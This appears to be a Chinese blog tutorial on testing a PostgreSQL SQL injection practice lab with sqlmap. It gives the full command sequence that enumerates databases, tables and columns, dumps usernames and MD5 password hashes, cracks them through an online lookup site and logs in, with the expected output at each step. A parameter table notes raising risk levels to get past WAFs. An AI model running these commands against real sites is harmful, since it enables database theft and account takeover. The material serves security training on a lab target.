使用Kali Linux中的sqlmap工具进行PostgreSQL手工注入漏洞测试实战
前言
SQL注入是Web安全中最常见的漏洞之一。本文将演示如何使用Kali Linux中的sqlmap工具对PostgreSQL数据库进行手工注入测试,通过实战案例帮助安全研究人员更好地理解漏洞原理和测试方法。
测试环境说明:
- 靶场地址:http://124.70.71.251:47707/new_list.php?id=1
- 数据库类型:PostgreSQL
- 工具:Kali Linux内置sqlmap
一、sqlmap基本介绍
sqlmap是一款开源的自动化SQL注入工具,能够检测和利用SQL注入漏洞,支持多种数据库类型。
主要功能:
- 自动识别注入点
- 支持多种数据库
- 数据提取和导出
- 密码哈希破解
- 操作系统命令执行
二、实战测试步骤(以自己的ip地址为准)
1. 获取所有数据库名
sqlmap -u "http://124.70.71.251:47707/new_list.php?id=1" --dbs
参数说明:
-u
:指定目标URL--dbs
:枚举所有数据库
预期输出:
available databases [1]:
[*] public
2. 获取目标数据库的表名
假设目标库为public
:
sqlmap -u "http://124.70.71.251:47707/new_list.php?id=1" -D public --tables
参数说明:
-D
:指定数据库名--tables
:枚举指定数据库的所有表
预期输出:
Database: public
[2 tables]
+-----------+
| notice |
| reg_users |
+-----------+
3. 获取表结构(字段名)
针对reg_users
表:
sqlmap -u "http://124.70.71.251:47707/new_list.php?id=1" -D public -T reg_users --columns
参数说明:
-T
:指定表名--columns
:枚举表的所有列
预期输出:
Database: public
Table: reg_users
[4 columns]
+----------+---------+
| Column | Type |
+----------+---------+
| name | varchar |
| status | int4 |
| id | int4 |
| password | varchar |
+----------+---------+
4. 导出用户名和密码数据
sqlmap -u "http://124.70.71.251:47707/new_list.php?id=1" -D public -T reg_users -C "name,password" --dump
参数说明:
-C
:指定要导出的列--dump
:导出数据
预期输出:
Database: public
Table: reg_users
[2 entries]
+--------+----------------------------------+
| name | password |
+--------+----------------------------------+
| mozhe1 | a7d99ac11a815b451c0fc458bc5a4a32 |
| mozhe2 | 1c63129ae9db9c60c3e8aa94d3e00495 |
+--------+----------------------------------+
5. 假如重启了靶场,发现mozhe1的密码保持不变
建议使用下面的命令,用sqlmap重新导出数据,确保获取最新哈希
sqlmap -u "http://靶场URL/new_list.php?id=1" -D public -T reg_users -C "password" --fresh-queries --dump
参数说明:
--fresh-queries
:强制sqlmap忽略缓存,重新查询数据库。
6. 对密码进行MD5解密
工具:https://www.cmd5.com/,将mozhe1的密码放入工具中解密即可,手动登录获取Key
三、sqlmap关键参数功能表(PostgreSQL注入测试)
参数 | 功能说明 | 使用示例 | 适用场景 |
---|---|---|---|
-u | 指定目标URL(必须包含注入参数) | -u "http://example.com/page.php?id=1" | 基础注入检测 |
--dbs | 枚举所有可访问的数据库名 | sqlmap -u "URL" --dbs | 信息收集阶段 |
-D | 指定目标数据库名 | -D public | 需配合--tables 或--columns 使用 |
--tables | 枚举指定数据库中的所有表名 | sqlmap -u "URL" -D public --tables | 确定目标数据表 |
-T | 指定目标表名 | -T reg_users | 需配合--columns 或--dump 使用 |
--columns | 枚举指定表的所有列名(字段名) | sqlmap -u "URL" -D public -T reg_users --columns | 分析表结构 |
-C | 指定要操作的列名(可多选,逗号分隔) | -C "name,password" | 精确提取数据 |
--dump | 导出指定表或列的数据 | sqlmap -u "URL" -D public -T reg_users -C "name,password" --dump | 获取敏感数据 |
--batch | 自动选择默认选项(非交互模式) | sqlmap -u "URL" --batch | 批量测试时使用 |
--risk | 设置风险等级(1-3,默认1) • 1: 低风险(如 AND 1=1 )• 3: 高风险(如 OR 1=1 ) | --risk=3 | 需要绕过WAF时 |
--level | 设置测试深度(1-5,默认1) • 1: 仅测试URL参数 • 3: 包含Header注入 • 5: 全参数测试 | --level=5 | 全面检测时使用 |